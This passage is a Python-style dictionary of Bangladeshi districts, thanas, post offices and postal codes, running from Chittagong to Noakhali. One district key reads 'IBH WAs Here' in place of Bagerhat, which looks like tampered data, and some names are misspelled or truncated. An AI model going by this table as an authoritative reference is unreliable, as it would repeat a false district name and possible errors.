('Sakpura', '4367'),
('Saroatoli', '4364')],
'Chittagong Sadar': [('Al- Amin Baria Madra',
'4221'),
('Amin Jute Mills', '4211'),
('Anandabazar', '4215'),
('Bayezid Bostami', '4210'),
('Chandgaon', '4212'),
('Chawkbazar', '4203'),
('Chitt. Cantonment', '4220'),
('Chitt. Customs Acca',
'4219'),
('Chitt. Politechnic In',
'4209'),
('Chitt. Sailers Colon',
'4218'),
('Chittagong Airport', '4205'),
('Chittagong Bandar', '4100'),
('Chittagong GPO', '4000'),
('Export Processing', '4223'),
('Firozshah', '4207'),
('Halishahar', '4216'),
('Halishshar', '4225'),
('Jalalabad', '4214'),
('Jaldia Merine Accade',
'4206'),
('Middle Patenga', '4222'),
('Mohard', '4208'),
('North Halishahar', '4226'),
('North Katuli', '4217'),
('Pahartoli', '4202'),
('Patenga', '4204'),
('Rampura TSO', '4224'),
('Wazedia', '4213')],
'East Joara': [('Barma', '4383'),
('Dohazari', '4382'),
('East Joara', '4380'),
('Gachbaria', '4381')],
'Fatikchhari': [('Bhandar Sharif', '4352'),
('Fatikchhari', '4350'),
('Harualchhari', '4354'),
('Najirhat', '4353'),
('Nanupur', '4351'),
('Narayanhat', '4355')],
'Hathazari': [('Chitt.University', '4331'),
('Fatahabad', '4335'),
('Gorduara', '4332'),
('Hathazari', '4330'),
('Katirhat', '4333'),
('Madrasa', '4339'),
('Mirzapur', '4334'),
('Nuralibari', '4337'),
('Yunus Nagar', '4338')],
'Jaldi': [('Banigram', '4393'),
('Gunagari', '4392'),
('Jaldi', '4390'),
('Khan Bahadur', '4391')],
'Lohagara': [('Chunti', '4398'),
('Lohagara', '4396'),
('Padua', '4397')],
'Mirsharai': [('Abutorab', '4321'),
('Azampur', '4325'),
('Bharawazhat', '4323'),
('Darrogahat', '4322'),
('Joarganj', '4324'),
('Korerhat', '4327'),
('Mirsharai', '4320'),
('Mohazanhat', '4328')],
'Patia Head Office': [('Budhpara', '4371'),
('Patia Head Office', '4370')],
'Rangunia': [('Dhamair', '4361'), ('Rangunia', '4360')],
'Rouzan': [('B.I.T Post Office', '4349'),
('Beenajuri', '4341'),
('Dewanpur', '4347'),
('Fatepur', '4345'),
('Gahira', '4343'),
('Guzra Noapara', '4346'),
('jagannath Hat', '4344'),
('Kundeshwari', '4342'),
('Mohamuni', '4348'),
('Rouzan', '4340')],
'Sandwip': [('Sandwip', '4300'),
('Shiberhat', '4301'),
('Urirchar', '4302')],
'Satkania': [('Baitul Ijjat', '4387'),
('Bazalia', '4388'),
('Satkania', '4386')],
'Sitakunda': [('Barabkunda', '4312'),
('Baroidhala', '4311'),
('Bawashbaria', '4313'),
('Bhatiari', '4315'),
('Fouzdarhat', '4316'),
('Jafrabad', '4317'),
('Kumira', '4314'),
('Sitakunda', '4310')]},
'Chuadanga': {'Alamdanga': [('Alamdanga', '7210'), ('Hardi', '7211')],
'Chuadanga Sadar': [('Chuadanga Sadar', '7200'),
('Munshiganj', '7201')],
'Damurhuda': [('Andulbaria', '7222'),
('Damurhuda', '7220'),
('Darshana', '7221')],
'Doulatganj': [('Doulatganj', '7230')]},
'Comilla': {'Barura': [('Barura', '3560'),
('Murdafarganj', '3562'),
('Poyalgachha', '3561')],
'Brahmanpara': [('Brahmanpara', '3526')],
'Burichang': [('Burichang', '3520'),
('Maynamoti bazar', '3521')],
'Chandina': [('Chandia', '3510'),
('Madhaiabazar', '3511')],
'Chouddagram': [('Batisa', '3551'),
('Chiora', '3552'),
('Chouddagram', '3550')],
'Comilla Sadar': [('Comilla Contoment', '3501'),
('Comilla Sadar', '3500'),
('Courtbari', '3503'),
('Halimanagar', '3502'),
('Suaganj', '3504')],
'Daudkandi': [('Dashpara', '3518'),
('Daudkandi', '3516'),
('Eliotganj', '3519'),
('Gouripur', '3517')],
'Davidhar': [('Barashalghar', '3532'),
('Davidhar', '3530'),
('Dhamtee', '3533'),
('Gangamandal', '3531')],
'Homna': [('Homna', '3546')],
'Laksam': [('Bipulasar', '3572'),
('Laksam', '3570'),
('Lakshamanpur', '3571')],
'Langalkot': [('Chhariabazar', '3582'),
('Dhalua', '3581'),
('Gunabati', '3583'),
('Langalkot', '3580')],
'Muradnagar': [('Bangra', '3543'),
('Companyganj', '3542'),
('Muradnagar', '3540'),
('Pantibazar', '3545'),
('Ramchandarpur', '3541'),
('Sonakanda', '3544')]},
"Cox's Bazar": {'Chiringga': [('Badarkali', '4742'),
('Chiringga', '4740'),
('Chiringga S.O', '4741'),
('Malumghat', '4743')],
'Coxs Bazar Sadar': [('Coxs Bazar Sadar',
'4700'),
('Eidga', '4702'),
('Zhilanja',
'4701')],
'Gorakghat': [('Gorakghat', '4710')],
'Kutubdia': [('Kutubdia', '4720')],
'Ramu': [('Ramu', '4730')],
'Teknaf': [('Hnila', '4761'),
('St.Martin', '4762'),
('Teknaf', '4760')],
'Ukhia': [('Ukhia', '4750')]},
'Dhaka': {'Demra': [('Demra', '1360'),
('Matuail', '1362'),
('Sarulia', '1361')],
'Dhaka Cantt.': [('Dhaka CantonmentTSO', '1206')],
'Dhamrai': [('Dhamrai', '1350'), ('Kamalpur', '1351')],
'Dhanmondi': [('Jigatala TSO', '1209')],
'Gulshan': [('Banani TSO', '1213'),
('Gulshan Model Town', '1212')],
'Jatrabari': [('Dhania TSO', '1232')],
'Joypara': [('Joypara', '1330'),
('Narisha', '1332'),
('Palamganj', '1331')],
'Keraniganj': [('Ati', '1312'),
('Dhaka Jute Mills', '1311'),
('Kalatia', '1313'),
('Keraniganj', '1310')],
'Khilgaon': [('KhilgaonTSO', '1219')],
'Khilkhet': [('KhilkhetTSO', '1229')],
'Lalbag': [('Posta TSO', '1211')],
'Mirpur': [('Mirpur TSO', '1216')],
'Mohammadpur': [('Mohammadpur Housing', '1207'),
('Sangsad BhabanTSO', '1225')],
'Motijheel': [('BangabhabanTSO', '1222'),
('DilkushaTSO', '1223')],
'Nawabganj': [('Agla', '1323'),
('Churain', '1325'),
('Daudpur', '1322'),
('Hasnabad', '1321'),
('Khalpar', '1324'),
('Nawabganj', '1320')],
'New market': [('New Market TSO', '1205')],
'Palton': [('Dhaka GPO', '1000')],
'Ramna': [('Shantinagr TSO', '1217')],
'Sabujbag': [('Basabo TSO', '1214')],
'Savar': [('Amin Bazar', '1348'),
('Dairy Farm', '1341'),
('EPZ', '1349'),
('Jahangirnagar Univer', '1342'),
('Kashem Cotton Mills', '1346'),
('Rajphulbaria', '1347'),
('Savar', '1340'),
('Savar Canttonment', '1344'),
('Saver P.A.T.C', '1343'),
('Shimulia', '1345')],
'Sutrapur': [('Dhaka Sadar HO', '1100'),
('Gendaria TSO', '1204'),
('Wari TSO', '1203')],
'Tejgaon': [('Tejgaon TSO', '1215')],
'Tejgaon Industrial Area': [('Dhaka Politechnic',
'1208')],
'Uttara': [('Uttara Model TwonTSO', '1230')]},
'Dinajpur': {'Bangla Hili': [('Bangla Hili', '5270')],
'Biral': [('Biral', '5210')],
'Birampur': [('Birampur', '5266')],
'Birganj': [('Birganj', '5220')],
'Chrirbandar': [('Chrirbandar', '5240'),
('Ranirbandar', '5241')],
'Dinajpur Sadar': [('Dinajpur Rajbari', '5201'),
('Dinajpur Sadar', '5200')],
'Khansama': [('Khansama', '5230'), ('Pakarhat', '5231')],
'Maharajganj': [('Maharajganj', '5226')],
'Nababganj': [('Daudpur', '5281'),
('Gopalpur', '5282'),
('Nababganj', '5280')],
'Osmanpur': [('Ghoraghat', '5291'), ('Osmanpur', '5290')],
'Parbatipur': [('Parbatipur', '5250')],
'Phulbari': [('Phulbari', '5260')],
'Setabganj': [('Setabganj', '5216')]},
'Faridpur': {'Alfadanga': [('Alfadanga', '7870')],
'Bhanga': [('Bhanga', '7830')],
'Boalmari': [('Boalmari', '7860'), ('Rupatpat', '7861')],
'Charbhadrasan': [('Charbadrashan', '7810')],
'Faridpur Sadar': [('Ambikapur', '7802'),
('Baitulaman Politecni', '7803'),
('Faridpursadar', '7800'),
('Kanaipur', '7801')],
'Madukhali': [('Kamarkali', '7851'),
('Madukhali', '7850')],
'Nagarkanda': [('Nagarkanda', '7840'), ('Talma', '7841')],
'Sadarpur': [('Bishwa jaker Manjil', '7822'),
('Hat Krishapur', '7821'),
('Sadarpur', '7820')],
'Shriangan': [('Shriangan', '7804')]},
'Feni': {'Chhagalnaia': [('Chhagalnaia', '3910'),
('Daraga Hat', '3912'),
('Maharajganj', '3911'),
('Puabashimulia', '3913')],
'Dagonbhuia': [('Chhilonia', '3922'),
('Dagondhuia', '3920'),
('Dudmukha', '3921'),
('Rajapur', '3923')],
'Feni Sadar': [('Fazilpur', '3901'),
('Feni Sadar', '3900'),
('Laskarhat', '3903'),
('Sharshadie', '3902')],
'Pashurampur': [('Fulgazi', '3942'),
('Munshirhat', '3943'),
('Pashurampur', '3940'),
('Shuarbazar', '3941')],
'Sonagazi': [('Ahmadpur', '3932'),
('Kazirhat', '3933'),
('Motiganj', '3931'),
('Sonagazi', '3930')]},
'Gaibandha': {'Bonarpara': [('Bonarpara', '5750'),
('saghata', '5751')],
'Gaibandha Sadar': [('Gaibandha Sadar', '5700')],
'Gobindaganj': [('Gobindhaganj', '5740'),
('Mahimaganj', '5741')],
'Palashbari': [('Palashbari', '5730')],
'Phulchhari': [('Bharatkhali', '5761'),
('Phulchhari', '5760')],
'Saadullapur': [('Naldanga', '5711'),
('Saadullapur', '5710')],
'Sundarganj': [('Bamandanga', '5721'),
('Sundarganj', '5720')]},
'Gazipur': {'Gazipur Sadar': [('B.O.F', '1703'),
('B.R.R', '1701'),
('Chandna', '1702'),
('Gazipur Sadar', '1700'),
('National University', '1704')],
'Kaliakaar': [('Kaliakaar', '1750'), ('Safipur', '1751')],
'Kaliganj': [('Kaliganj', '1720'),
('Pubail', '1721'),
('Santanpara', '1722'),
('Vaoal Jamalpur', '1723')],
'Kapashia': [('kapashia', '1730')],
'Monnunagar': [('Ershad Nagar', '1712'),
('Monnunagar', '1710'),
('Nishat Nagar', '1711')],
'Sreepur': [('Barmi', '1743'),
('Bashamur', '1747'),
('Boubi', '1748'),
('Kawraid', '1745'),
('Satkhamair', '1744'),
('Sreepur', '1740')],
'Sripur': [('Rajendrapur', '1741'),
('Rajendrapur Canttome', '1742')]},
'Gopalganj': {'Gopalganj Sadar': [('Barfa', '8102'),
('Chandradighalia', '8013'),
('Gopalganj Sadar', '8100'),
('Ulpur', '8101')],
'Kashiani': [('Jonapur', '8133'),
('Kashiani', '8130'),
('Ramdia College', '8131'),
('Ratoil', '8132')],
'Kotalipara': [('Kotalipara', '8110')],
'Maksudpur': [('Batkiamari', '8141'),
('Khandarpara', '8142'),
('Maksudpur', '8140')],
'Tungipara': [('Patgati', '8121'),
('Tungipara', '8120')]},
'Hobiganj': {'Azmireeganj': [('Azmireeganj', '3360')],
'Bahubal': [('Bahubal', '3310')],
'Baniachang': [('Baniachang', '3350'),
('Jatrapasha', '3351'),
('Kadirganj', '3352')],
'Chunarughat': [('Chandpurbagan', '3321'),
('Chunarughat', '3320'),
('Narapati', '3322')],
'Hobiganj Sadar': [('Gopaya', '3302'),
('Hobiganj Sadar', '3300'),
('Shaestaganj', '3301')],
'Kalauk': [('Kalauk', '3340'), ('Lakhai', '3341')],
'Madhabpur': [('Itakhola', '3331'),
('Madhabpur', '3330'),
('Saihamnagar', '3333'),
('Shahajibazar', '3332')],
'Nabiganj': [('Digalbak', '3373'),
('Golduba', '3372'),
('Goplarbazar', '3371'),
('Inathganj', '3374'),
('Nabiganj', '3370')]},
'IBH WAs Here': {'Bagerhat Sadar': [('Bagerhat Sadar', '9300'),
('P.C College', '9301'),
('Rangdia', '9302')],
'Chalna Ankorage': [('Chalna Ankorage', '9350'),
('Mongla Port', '9351')],
'Chitalmari': [('Barabaria', '9361'),
('Chitalmari', '9360')],
'Fakirhat': [('Bhanganpar Bazar', '9372'),
('Fakirhat', '9370'),
('Mansa', '9371')],
'Kachua UPO': [('Kachua', '9310'),
('Sonarkola', '9311')],
'Mollahat': [('Charkulia', '9383'),
('Dariala', '9382'),
('Kahalpur', '9381'),
('Mollahat', '9380'),
('Nagarkandi', '9384'),
('Pak Gangni', '9385')],
'Morelganj': [('Morelganj', '9320'),
('Sannasi Bazar', '9321'),
('Telisatee', '9322')],
'Rampal': [('Foylahat', '9341'),
('Gourambha', '9343'),
('Rampal', '9340'),
('Sonatunia', '9342')],
'Rayenda': [('Rayenda', '9330')]},
'Jamalpur': {'Dewangonj': [('Dewangonj', '2030'),
('Dewangonj S. Mills', '2031')],
'Islampur': [('Durmoot', '2021'),
('Gilabari', '2022'),
('Islampur', '2020')],
'Jamalpur': [('Jamalpur', '2000'),
('Nandina', '2001'),
('Narundi', '2002')],
'Malandah': [('Jamalpur', '2011'),
('Mahmoodpur', '2013'),
('Malancha', '2012'),
('Malandah', '2010')],
'Mathargonj': [('Balijhuri', '2041'),
('Mathargonj', '2040')],
'Shorishabari': [('Bausee', '2052'),
('Gunerbari', '2051'),
('Jagannath Ghat', '2053'),
('Jamuna Sar Karkhana', '2055'),
('Pingna', '2054'),
('Shorishabari', '2050')]},
'Jessore': {'Bagharpara': [('Bagharpara', '7470'),
('Gouranagar', '7471')],
'Chaugachha': [('Chougachha', '7410')],
'Jessore Sadar': [('Basundia', '7406'),
('Chanchra', '7402'),
('Churamankathi', '7407'),
('Jessore Airbach', '7404'),
('Jessore canttonment', '7403'),
('Jessore Sadar', '7400'),
('Jessore Upa-Shahar', '7401'),
('Rupdia', '7405')],
'Jhikargachha': [('Jhikargachha', '7420')],
'Keshabpur': [('Keshobpur', '7450')],
'Monirampur': [('Monirampur', '7440')],
'Noapara': [('Bhugilhat', '7462'),
('Noapara', '7460'),
('Rajghat', '7461')],
'Sarsa': [('Bag Achra', '7433'),
('Benapole', '7431'),
('Jadabpur', '7432'),
('Sarsa', '7430')]},
'Jhalokathi': {'Jhalokathi Sadar': [('Baukathi', '8402'),
('Gabha', '8403'),
('Jhalokathi Sadar', '8400'),
('Nabagram', '8401'),
('Shekherhat', '8404')],
'Kathalia': [('Amua', '8431'),
('Kathalia', '8430'),
('Niamatee', '8432'),
('Shoulajalia', '8433')],
'Nalchhiti': [('Beerkathi', '8421'),
('Nalchhiti', '8420')],
'Rajapur': [('Rajapur', '8410')]},
'Jinaidaha': {'Harinakundu': [('Harinakundu', '7310')],
'Jinaidaha Sadar': [('Jinaidaha Cadet College',
'7301'),
('Jinaidaha Sadar', '7300')],
'Kotchandpur': [('Kotchandpur', '7330')],
'Maheshpur': [('Maheshpur', '7340')],
'Naldanga': [('Hatbar Bazar', '7351'),
('Naldanga', '7350')],
'Shailakupa': [('Kumiradaha', '7321'),
('Shailakupa', '7320')]},
'Joypurhat': {'Akkelpur': [('Akklepur', '5940'),
('jamalganj', '5941'),
('Tilakpur', '5942')],
'Joypurhat Sadar': [('Joypurhat Sadar', '5900')],
'Khetlal': [('Khetlal', '5920')],
'kalai': [('kalai', '5930')],
'panchbibi': [('Panchbibi', '5910')]},
'Khagrachari': {'Diginala': [('Diginala', '4420')],
'Khagrachari Sadar': [('Khagrachari Sadar',
'4400')],
'Laxmichhari': [('Laxmichhari', '4470')],
'Mahalchhari': [('Mahalchhari', '4430')],
'Manikchhari': [('Manikchhari', '4460')],
'Matiranga': [('Matiranga', '4450')],
'Panchhari': [('Panchhari', '4410')],
'Ramghar Head Office': [('Ramghar Head Office',
'4440')]},
'Khulna': {'Alaipur': [('Alaipur', '9240'),
('Belphulia', '9242'),
('Rupsha', '9241')],
'Batiaghat': [('Batiaghat', '9260'), ('Surkalee', '9261')],
'Chalna Bazar': [('Bajua', '9272'),
('Chalna Bazar', '9270'),
('Dakup', '9271'),
('Nalian', '9273')],
'Digalia': [('Chandni Mahal', '9221'),
('Digalia', '9220'),
('Gazirhat', '9224'),
('Ghoshghati', '9223'),
('Senhati', '9222')],
'Khulna Sadar': [('Atra Shilpa Area', '9207'),
('BIT Khulna', '9203'),
('Doulatpur', '9202'),
('Jahanabad Canttonmen', '9205'),
('Khula Sadar', '9100'),
('Khulna G.P.O', '9000'),
('Khulna Shipyard', '9201'),
('Khulna University', '9208'),
('Siramani', '9204'),
('Sonali Jute Mills', '9206')],
'Madinabad': [('Amadee', '9291'), ('Madinabad', '9290')],
'Paikgachha': [('Chandkhali', '9284'),
('Garaikhali', '9285'),
('Godaipur', '9281'),
('Kapilmoni', '9282'),
('Katipara', '9283'),
('Paikgachha', '9280')],
'Phultala': [('Phultala', '9210')],
'Sajiara': [('Chuknagar', '9252'),
('Ghonabanda', '9251'),
('Sajiara', '9250'),
('Shahapur', '9253')],
'Terakhada': [('Pak Barasat', '9231'),
('Terakhada', '9230')]},
'Kishoreganj': {'Bajitpur': [('Bajitpur', '2336'),
('Laksmipur', '2338'),
('Sararchar', '2337')],
'Bhairob': [('Bhairab', '2350')],
'Hossenpur': [('Hossenpur', '2320')],
'Itna': [('Itna', '2390')],
'Karimganj': [('Karimganj', '2310')],
'Katiadi': [('Gochhihata', '2331'),
('Katiadi', '2330')],
'Kishoreganj Sadar': [('Kishoreganj S.Mills',
'2301'),
('Kishoreganj Sadar',
'2300'),
('Maizhati', '2302'),
('Nilganj', '2303')],
'Kuliarchar': [('Chhoysuti', '2341'),
('Kuliarchar', '2340')],
'Mithamoin': [('Abdullahpur', '2371'),
('MIthamoin', '2370')],
'Nikli': [('Nikli', '2360')],
'Ostagram': [('Ostagram', '2380')],
'Pakundia': [('Pakundia', '2326')],
'Tarial': [('Tarial', '2316')]},
'Kurigram': {'Bhurungamari': [('Bhurungamari', '5670')],
'Chilmari': [('Chilmari', '5630'), ('Jorgachh', '5631')],
'Kurigram Sadar': [('Kurigram Sadar', '5600'),
('Pandul', '5601'),
('Phulbari', '5680')],
'Nageshwar': [('Nageshwar', '5660')],
'Rajarhat': [('Nazimkhan', '5611'), ('Rajarhat', '5610')],
'Rajibpur': [('Rajibpur', '5650')],
'Roumari': [('Roumari', '5640')],
'Ulipur': [('Bazarhat', '5621'), ('Ulipur', '5620')]},
'Kustia': {'Bheramara': [('Allardarga', '7042'),
('Bheramara', '7040'),
('Ganges Bheramara', '7041')],
'Janipur': [('Janipur', '7020'), ('Khoksa', '7021')],
'Kumarkhali': [('Kumarkhali', '7010'), ('Panti', '7011')],
'Kustia Sadar': [('Islami University', '7003'),
('Jagati', '7002'),
('Kushtia Mohini', '7001'),
('Kustia Sadar', '7000')],
'Mirpur': [('Amla Sadarpur', '7032'),
('Mirpur', '7030'),
('Poradaha', '7031')],
'Rafayetpur': [('Khasmathurapur', '7052'),
('Rafayetpur', '7050'),
('Taragunia', '7051')]},
'Lakshmipur': {'Char Alexgander': [('Char Alexgander', '3730'),
('Hajirghat', '3731'),
('Ramgatirhat', '3732')],
'Lakshimpur Sadar': [('Amani Lakshimpur', '3709'),
('Bhabaniganj', '3702'),
('Chandraganj', '3708'),
('Choupalli', '3707'),
('Dalal Bazar', '3701'),
('Duttapara', '3706'),
('Keramatganj', '3704'),
('Lakshimpur Sadar', '3700'),
('Mandari', '3703'),
('Rupchara', '3705')],
'Ramganj': [('Alipur', '3721'),
('Dolta', '3725'),
('Kanchanpur', '3723'),
('Naagmud', '3724'),
('Panpara', '3722'),
('Ramganj', '3720')],
'Raypur': [('Bhuabari', '3714'),
('Haydarganj', '3713'),
('Nagerdighirpar', '3712'),
('Rakhallia', '3711'),
('Raypur', '3710')]},
'Lalmonirhat': {'Aditmari': [('Aditmari', '5510')],
'Hatibandha': [('Hatibandha', '5530')],
'Lalmonirhat Sadar': [('Kulaghat SO', '5502'),
('Lalmonirhat Sadar',
'5500'),
('Moghalhat', '5501')],
'Patgram': [('Baura', '5541'),
('Burimari', '5542'),
('Patgram', '5540')],
'Tushbhandar': [('Tushbhandar', '5520')]},
'Madaripur': {'Barhamganj': [('Bahadurpur', '7932'),
('Barhamganj', '7930'),
('Nilaksmibandar', '7931'),
('Umedpur', '7933')],
'Madaripur Sadar': [('Charmugria', '7901'),
('Habiganj', '7903'),
('Kulpaddi', '7902'),
('Madaripur Sadar', '7900'),
('Mustafapur', '7904')],
'Rajoir': [('Khalia', '7911'), ('Rajoir', '7910')],
'kalkini': [('Kalkini', '7920'),
('Sahabrampur', '7921')]},
'Magura': {'Arpara': [('Arpara', '7620')],
'Magura Sadar': [('Magura Sadar', '7600')],
'Mohammadpur': [('Binodpur', '7631'),
('Mohammadpur', '7630'),
('Nahata', '7632')],
'Shripur': [('Langalbadh', '7611'),
('Nachol', '7612'),
('Shripur', '7610')]},
'Manikganj': {'Doulatpur': [('Doulatpur', '1860')],
'Gheor': [('Gheor', '1840')],
'Lechhraganj': [('Jhitka', '1831'),
('Lechhraganj', '1830')],
'Manikganj Sadar': [('Barangail', '1804'),
('Gorpara', '1802'),
('Mahadebpur', '1803'),
('Manikganj Bazar', '1801'),
('Manikganj Sadar', '1800')],
'Saturia': [('Baliati', '1811'), ('Saturia', '1810')],
'Shibloya': [('Aricha', '1851'),
('Shibaloy', '1850'),
('Tewta', '1852'),
('Uthli', '1853')],
'Singari': [('Baira', '1821'),
('joymantop', '1822'),
('Singair', '1820')]},
'Meherpur': {'Gangni': [('Gangni', '7110')],
'Meherpur Sadar': [('Amjhupi', '7101'),
('Amjhupi', '7152'),
('Meherpur Sadar', '7100'),
('Mujib Nagar Complex', '7102')]},
'Moulvibazar': {'Baralekha': [('Baralekha', '3250'),
('Dhakkhinbag', '3252'),
('Juri', '3251'),
('Purbashahabajpur', '3253')],
'Kamalganj': [('Kamalganj', '3220'),
('Keramatnaga', '3221'),
('Munshibazar', '3224'),
('Patrakhola', '3222'),
('Shamsher Nagar', '3223')],
'Kulaura': [('Baramchal', '3237'),
('Kajaldhara', '3234'),
('Karimpur', '3235'),
('Kulaura', '3230'),
('Langla', '3232'),
('Prithimpasha', '3233'),
('Tillagaon', '3231')],
'Moulvibazar Sadar': [('Afrozganj', '3203'),
('Barakapan', '3201'),
('Monumukh', '3202'),
('Moulvibazar Sadar',
'3200')],
'Rajnagar': [('Rajnagar', '3240')],
'Srimangal': [('Kalighat', '3212'),
('Khejurichhara', '3213'),
('Narain Chora', '3211'),
('Satgaon', '3214'),
('Srimangal', '3210')]},
'Munshiganj': {'Gajaria': [('Gajaria', '1510'),
('Hossendi', '1511'),
('Rasulpur', '1512')],
'Lohajong': [('Gouragonj', '1334'),
('Gouragonj', '1534'),
('Haldia SO', '1532'),
('Haridia', '1333'),
('Haridia DESO', '1533'),
('Korhati', '1531'),
('Lohajang', '1530'),
('Madini Mandal', '1335'),
('Medini Mandal EDSO', '1535')],
'Munshiganj Sadar': [('Kathakhali', '1503'),
('Mirkadim', '1502'),
('Munshiganj Sadar', '1500'),
('Rikabibazar', '1501')],
'Sirajdikhan': [('Ichapur', '1542'),
('Kola', '1541'),
('Malkha Nagar', '1543'),
('Shekher Nagar', '1544'),
('Sirajdikhan', '1540')],
'Srinagar': [('Baghra', '1557'),
('Barikhal', '1551'),
('Bhaggyakul', '1558'),
('Hashara', '1553'),
('Kolapara', '1554'),
('Kumarbhog', '1555'),
('Mazpara', '1552'),
('Srinagar', '1550'),
('Vaggyakul SO', '1556')],
'Tangibari': [('Bajrajugini', '1523'),
('Baligao', '1522'),
('Betkahat', '1521'),
('Dighirpar', '1525'),
('Hasail', '1524'),
('Pura', '1527'),
('Pura EDSO', '1526'),
('Tangibari', '1520')]},
'Mymensingh': {'Bhaluka': [('Bhaluka', '2240')],
'Fulbaria': [('Fulbaria', '2216')],
'Gaforgaon': [('Duttarbazar', '2234'),
('Gaforgaon', '2230'),
('Kandipara', '2233'),
('Shibganj', '2231'),
('Usti', '2232')],
'Gouripur': [('Gouripur', '2270'),
('Ramgopalpur', '2271')],
'Haluaghat': [('Dhara', '2261'),
('Haluaghat', '2260'),
('Munshirhat', '2262')],
'Isshwargonj': [('Atharabari', '2282'),
('Isshwargonj', '2280'),
('Sohagi', '2281')],
'Muktagachha': [('Muktagachha', '2210')],
'Mymensingh Sadar': [('Agriculture Universi',
'2202'),
('Biddyaganj', '2204'),
('Kawatkhali', '2201'),
('Mymensingh Sadar', '2200'),
('Pearpur', '2205'),
('Shombhuganj', '2203')],
'Nandail': [('Gangail', '2291'), ('Nandail', '2290')],
'Phulpur': [('Beltia', '2251'),
('Phulpur', '2250'),
('Tarakanda', '2252')],
'Trishal': [('Ahmadbad', '2221'),
('Dhala', '2223'),
('Ram Amritaganj', '2222'),
('Trishal', '2220')]},
'Naogaon': {'Ahsanganj': [('Ahsanganj', '6596'), ('Bandai', '6597')],
'Badalgachhi': [('Badalgachhi', '6570')],
'Dhamuirhat': [('Dhamuirhat', '6580')],
'Mahadebpur': [('Mahadebpur', '6530')],
'Naogaon Sadar': [('Naogaon Sadar', '6500')],
'Niamatpur': [('Niamatpur', '6520')],
'Nitpur': [('Nitpur', '6550'),
('Panguria', '6552'),
('Porsa', '6551')],
'Patnitala': [('Patnitala', '6540')],
'Prasadpur': [('Balihar', '6512'),
('Manda', '6511'),
('Prasadpur', '6510')],
'Raninagar': [('Kashimpur', '6591'),
('Raninagar', '6590')],
'Sapahar': [('Moduhil', '6561'), ('Sapahar', '6560')]},
'Narail': {'Kalia': [('Kalia', '7520')],
'Laxmipasha': [('Baradia', '7514'),
('Itna', '7512'),
('Laxmipasha', '7510'),
('Lohagora', '7511'),
('Naldi', '7513')],
'Mohajan': [('Mohajan', '7521')],
'Narail Sadar': [('Narail Sadar', '7500'),
('Ratanganj', '7501')]},
'Narayanganj': {'Araihazar': [('Araihazar', '1450'),
('Gopaldi', '1451')],
'Baidder Bazar': [('Baidder Bazar', '1440'),
('Bara Nagar', '1441'),
('Barodi', '1442')],
'Bandar': [('Bandar', '1410'),
('BIDS', '1413'),
('D.C Mills', '1411'),
('Madanganj', '1414'),
('Nabiganj', '1412')],
'Fatullah': [('Fatulla Bazar', '1421'),
('Fatullah', '1420')],
'Narayanganj Sadar': [('Narayanganj Sadar',
'1400')],
'Rupganj': [('Bhulta', '1462'),
('Kanchan', '1461'),
('Murapara', '1464'),
('Nagri', '1463'),
('Rupganj', '1460')],
'Siddirganj': [('Adamjeenagar', '1431'),
('LN Mills', '1432'),
('Siddirganj', '1430')]},
'Narshingdi': {'Belabo': [('Belabo', '1640')],
'Monohordi': [('Hatirdia', '1651'),
('Katabaria', '1652'),
('Monohordi', '1650')],
'Narshingdi Sadar': [('Karimpur', '1605'),
('Madhabdi', '1604'),
('Narshingdi College', '1602'),
('Narshingdi Sadar', '1600'),
('Panchdona', '1603'),
('UMC Jute Mills', '1601')],
'Palash': [('Char Sindhur', '1612'),
('Ghorashal', '1613'),
('Ghorashal Urea Facto', '1611'),
('Palash', '1610')],
'Raypura': [('Bazar Hasnabad', '1631'),
('Radhaganj bazar', '1632'),
('Raypura', '1630')],
'Shibpur': [('Shibpur', '1620')]},
'Natore': {'Gopalpur UPO': [('Abdulpur', '6422'),
('Gopalpur U.P.O', '6420'),
('Lalpur S.O', '6421')],
'Harua': [('Baraigram', '6432'),
('Dayarampur', '6431'),
('Harua', '6430')],
'Hatgurudaspur': [('Hatgurudaspur', '6440')],
'Laxman': [('Laxman', '6410')],
'Natore Sadar': [('Baiddyabal Gharia', '6402'),
('Digapatia', '6401'),
('Madhnagar', '6403'),
('Natore Sadar', '6400')],
'Singra': [('Singra', '6450')]},
'Netrakona': {'Atpara': [('Atpara', '2470')],
'Barhatta': [('Barhatta', '2440')],
'Dharmapasha': [('Dharampasha', '2450')],
'Dhobaura': [('Dhobaura', '2416'), ('Sakoai', '2417')],
'Kalmakanda': [('Kalmakanda', '2430')],
'Kendua': [('Kendua', '2480')],
'Khaliajuri': [('Khaliajhri', '2460'),
('Shaldigha', '2462')],
'Madan': [('Madan', '2490')],
'Moddhynagar': [('Moddoynagar', '2456')],
'Mohanganj': [('Mohanganj', '2446')],
'Netrakona Sadar': [('Baikherhati', '2401'),
('Netrakona Sadar', '2400')],
'Purbadhola': [('Jaria Jhanjhail', '2412'),
('Purbadhola', '2410'),
('Shamgonj', '2411')],
'Susung Durgapur': [('Susnng Durgapur', '2420')]},
'Nilphamari': {'Dimla': [('Dimla', '5350'),
('Ghaga Kharibari', '5351')],
'Domar': [('Chilahati', '5341'), ('Domar', '5340')],
'Jaldhaka': [('Jaldhaka', '5330')],
'Kishoriganj': [('Kishoriganj', '5320')],
'Nilphamari Sadar': [('Nilphamari Sadar', '5300'),
('Nilphamari Sugar Mil',
'5301')],
'Syedpur': [('Syedpur', '5310'),
('Syedpur Upashahar', '5311')]},
'Noakhali': {'Basurhat': [('Basur Hat', '3850'),
('Charhajari', '3851')],
'Begumganj': [('Alaiarpur', '3831'),
('Amisha Para', '3847'),
('Banglabazar', '3822'),
('Bazra', '3824'),
('Begumganj', '3820'),
('Bhabani Jibanpur', '3837'),
('Choumohani', '3821'),
('Dauti', '3843'),
('Durgapur', '3848'),
('Gopalpur', '3828'),
('Jamidar Hat', '3825'),
('Joyag', '3844'),
('Joynarayanpur', '3829'),
('Khalafat Bazar', '3833'),
('Khalishpur', '3842'),
('Maheshganj', '3838'),
('Mir Owarishpur', '3823'),
('Nadona', '3839'),
('Nandiapara', '3841'),
('Oachhekpur', '3835'),
('Rajganj', '3834'),
('Sonaimuri', '3827'),
('Tangirpar', '3832'),
('Thanar Hat', '3845')],
'Chatkhil': [('Bansa Bazar', '3879'),
('Bodalcourt', '3873'),
('Chatkhil', '3870'),
('Dosh Gharia', '3878'),
('Karihati', '3877'),
('Khilpara', '3872'),
('Palla', '3871'),
('Rezzakpur', '3874'),
('Sahapur', '3881'),
('Sampara', '3882'),
('Shingbahura', '3883'),
('Solla', '3875')],
'Hatiya': [('Afazia', '3891'),
('Hatiya', '3890'),
('Tamoraddi', '3892')],
